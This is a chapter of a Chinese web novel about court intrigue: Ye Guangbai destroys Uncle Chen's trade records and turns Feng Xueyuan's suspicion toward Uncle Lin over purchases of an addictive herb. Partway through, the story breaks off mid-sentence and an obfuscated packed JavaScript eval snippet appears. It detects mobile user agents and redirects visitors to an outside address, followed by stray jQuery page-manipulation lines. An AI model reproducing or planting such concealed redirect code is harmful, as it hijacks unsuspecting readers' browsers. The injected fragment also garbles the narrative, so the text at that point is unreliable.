陈叔常年跑西域这条线,在寨子里的时间不多。也亏着不常住,他那屋里的东西常年没人动,多少积年的旧物都堆在里头,只要他没把那些纸当成手纸给用了,那近几年的记录肯定还在这屋里。
只是这屋里太乱,实在不好找。陈叔将各家要的药材送下,回到屋里找了一晚上,才从各个角落里找出两三张来。本就鬼画符般的字,加上随意丢弃皱皱巴巴的折痕,他自己都不忍卒看。
陈叔叹了口气,将那两三张记录捋平,准备去雪茶阁交差。路上走到一半,迎面碰上了从常春阁出来的叶广白。
叶广白刚和叶玄明周旋了一晚,身心俱疲,随口问了句:“这么晚了还出来啊?”
陈叔抱怨道:“唉,雪鸢公主不知怎的,非要我给她找我每次带货回来的记档,我这好不容易找着几张,给她送过去。”
“每次从西域回来的货不都会登记吗,去账房拿给她看不就成了?”
“我也是这么说的啊,可公主非要看我这鬼画符的原始记录,咱只能照做。”
叶广白的脑子一时没在这上面,摆了摆手示意陈叔去送便是。
可陈叔又停下说:“对了少主,您要的东西都送凌泉轩了。不过这公主近日不知道研究什么呢,想要一味巧茶,可我这趟的巧茶全给您了,我就让她找您要,她可问您了?”
“巧茶?”叶广白脑子一激灵,意识到事情不简单,“她要巧茶做什么?”
“这我就不知道了,不过她要的也不多。”
叶广白从陈叔手里抽出那几张纸,借着月光看清了上面的内容。
一道寒光闪过眼底,他吩咐道:“你回去吧,既然鸢儿想要巧茶,我一会儿给她送过去些就是了。这记档我一块给她捎过去就行,你今日刚回来,赶紧休息去吧。”
陈叔正愁待会儿见了风雪鸢,她让自己回去再找,叶广白替他接了这活儿,他忙作揖道:“多谢少主体谅。少主也一路奔波,早点休息。”
“嗯,你回去吧。”
陈叔走远后,叶广白快步回了凌泉轩,从架阁上一堆的卷宗里翻出了这些年西域进购货物的记档。
他匆匆扫了一遍记录,没有什么破绽,随后目光落在了陈叔手写的纸上。
他盯着那纸,随手端起砚台,将一点点墨底倒在了那几张纸上。然后又将几张纸再烛火上摊开慢慢烤干,上面的字迹被晕成一团。
随后,他用布袋装了些巧茶,出了凌泉轩。
风雪鸢听到敲门声,以为是陈叔,打开门却发现是叶广白。
“广白舅舅?你从武康回来了?”
叶广白浅浅一笑:“今儿下午回来的。刚才在路上碰见陈叔,他说你想要点巧茶,这不我就给你送来了。”他举起袋子晃了晃,“以后缺什么,就直接跟我说,陈叔他们依着规矩采买,且得等一阵子。”
风雪鸢让开门口,请叶广白进了屋。她对叶广白本存了疑心,如今他堂而皇之地拿着巧茶前来,倒让她看不明白了。
防备之心不可无,风雪鸢客气回道:“本也不是什么急事,不过是在藏书阁看到,想炼几味药罢了。舅舅今日才回,怎能为了这等末事操心。”
“陈叔说要给你送这些,”叶广白毫不客气地落座,指节敲了敲桌上的纸张,“我就一块给你捎来了。”
“多谢广白舅舅。”风雪鸢拿起那几张纸,上面墨渍茶渍一团团的,她想看的几笔账都看不清了。
“其实你想看与西域的货物往来,直接去账房多清楚。这不,我也一块儿给你拿过来了。陈叔是个粗人,能找着这几张已经不错了。”
叶广白盯着风雪鸢,他知道自己不能说太多,不然就显得刻意了。
风雪鸢翻看起账册,近两年的记档里,每一次从西域采购,都有这味巧茶,且数量不低。
而要这味药的人,上面赫然写着,林松节。
“鸢儿,这巧茶……有什么不妥吗?”叶广白接过账册,假意翻了几页,“林伯怎么每次都采购这么多。我此次去武康,一路上搜集了些野方,所以让陈叔买来亲自试试,早知道林伯那有,就不麻烦陈叔了。”
叶广白有意无意地引导着风雪鸢,“这巧茶极易成瘾,若是配在药中份量不能多,且不能长时间服用,林伯这是做出了什么药,需要这么大的量。改天我得向他请教请教。”
林伯……风雪鸢脑子“嗡”的一声。
如果说巧茶是千丝阁女郎所服之毒的关键,那在这个买不到巧茶的阳庭郡,唯有林伯一人常年大量采购,那么林伯和宁侯之间……
这账簿上的墨迹有些年头了,不似假的,只是她没想到会是林伯。
林伯自她出生起,就与柴婆一起照顾她,论起来,林伯如师如父,她对林伯的感情,比对叶玄明还要深。她怀疑过百草堂的每一个人,唯独没有怀疑过林伯。
“鸢儿?你在想什么?你是不是查到了什么?你也怀疑林伯?鸢儿?”
叶广白的声音如晨钟,在风雪鸢耳边一震,震得她耳膜一激灵。
“也?什么叫‘我也怀疑林伯’?”
“鸢儿,你不是一直在找害死你母妃的内奸吗?你这么关注巧茶,是不是发现了什么?”
风雪鸢一愣,抬眼问:“广白舅舅,你怀疑林伯?”
“没错,我也怀疑过林伯。”叶广白轻而易举地将自己放在了和风雪鸢统一战线上,“但只不过都是怀疑罢了,未曾有过什么证据。所以鸢儿,你若发现了什么,一定要告诉我,咱们一起,才能找出更多的线索啊。”
叶广白刻意带来账簿和巧茶,并没有让风雪鸢彻底对他放下戒备,但这一句“也”,打破了风雪鸢的防线。
“广白舅舅,还记得你给我千丝阁邀帖那次吗?我本去救一个旧友,可是她说她中了一种毒,是千丝阁用来控制她们的。这些日子我一直想复原那种毒药,进而配出解药好救我那朋友。我发现那药的关键,就在于巧茶。”
叶广白心里一紧:“这事你可跟别人说过?义父知道吗?”
“这事……阿公他不知道,但是林伯知道。那日我身陷千丝阁,是杜掌柜紧急把林伯找了回来……”风雪鸢一顿,突然想起,那日是她自己从千丝阁逃出来的,还鼓励自己早点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749095|145003||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找出解药救大凤。
叶广白神色松解,他知道叶玄明是不会过问西域货物往来这种小事的,所以在登记的时候,早就将自己所购的货物改成了林伯所要。只要最后账目没有问题,谁会去深究哪一样东西是谁要的呢。
“林伯一向路子野,他本是齐人,早年间又在南风游历,两国地界儿上他都有门路。”
风雪鸢微微皱眉,问道:“广白舅舅,你为什么……会怀疑林伯?”
叶广白讥笑一声,“当年南星和林莺林鹊命丧火海,死得不明不白,若说义父能为了南风朝局忍下南星之死,我愿意相信,因为义父他就是一个不善言辞,隐忍克制,顾全大局的堂主,他要顾的人顾的事太多,只能对不起南星。
可是林伯呢,竟也不追究林莺林鹊的死,我是绝对不会相信的!你可知林伯是个什么样的人?他年轻时就是个不知天高地厚唯我独尊的纨绔子弟,他爱上了自己的表妹,不顾两家人的反对私奔了,最终害死了鄂宁秋家五十多条人命!这样的一个人,心爱的一对女儿就那样死了,他怎可能善罢甘休!唯一的可能,就是他知道内幕,他就是始作俑者!”
“什么?”风雪鸢不曾听过林伯的这段往事,在她眼里,林伯是个严厉古板的老师傅,是个走南闯北的老江湖,是个嘴硬心软的老伯伯。
这样的一个人,竟然冲冠一怒为红颜,与表妹私奔,害死五十多条人命?风雪鸢不敢相信。
“鸢儿,当年大齐坪王之乱与秋家灭门惨案都不是秘密,我没有必要骗你。你可知林伯是谁?你以为他只是一介江湖医士吗?”看着风雪鸢瞪大的眼睛,叶广白一顿,“他是大齐武康林国公的嫡子!”
“什么?”除了这两个字,风雪鸢再也说不出其他的词来。林伯不仅是齐人,还是大齐皇室贵胄,那当年,很可能是林莺林鹊与林伯联系告诉了他木贵妃私情一事,也很有可能是他有意或无意泄露了叶玄明的令牌样式。害死叶南星,无疑可以挑拨百草堂和南风的关系,让大齐趁虚而入。只是他没想到,顺帝为了掩人耳目会放火烧了朝阳宫,林莺林鹊的死,他怪不得别人。
这样一想,一切都能说得通,风雪鸢不禁打了个冷颤。
“这也是我这次去武康才知道的。而且我已得知,宁侯他也知道林伯的身份。”叶广白嘴角一扯,浮现一抹得意,他继续说:“鸢儿,你说林伯知道你在制毒,想要找出解药是不是?”
风雪鸢愣愣地点了点头。
“可你知道吗,巧茶让人成瘾,是没有解药的。唯一的方法,就是靠人的毅力,去对抗这药的依懒性。这个过程如同锥心蚀骨,痛苦不堪,几乎无人能扛下来。”
“可是林伯……他从未告诉过我。”风雪鸢感觉背后一阵凉意。
叶广白柔声说道:“他不会不知道的。”
“我明白……”
“所以鸢儿,只有咱们两个,是真心想为南星报仇。只有咱们结盟,才能打破这阳庭山上虚假的道义!”
“广白舅舅,”风雪鸢平复了一下心绪,抬头看向叶广白,两眼满是血丝,“我想下山一趟,你能帮我吗?”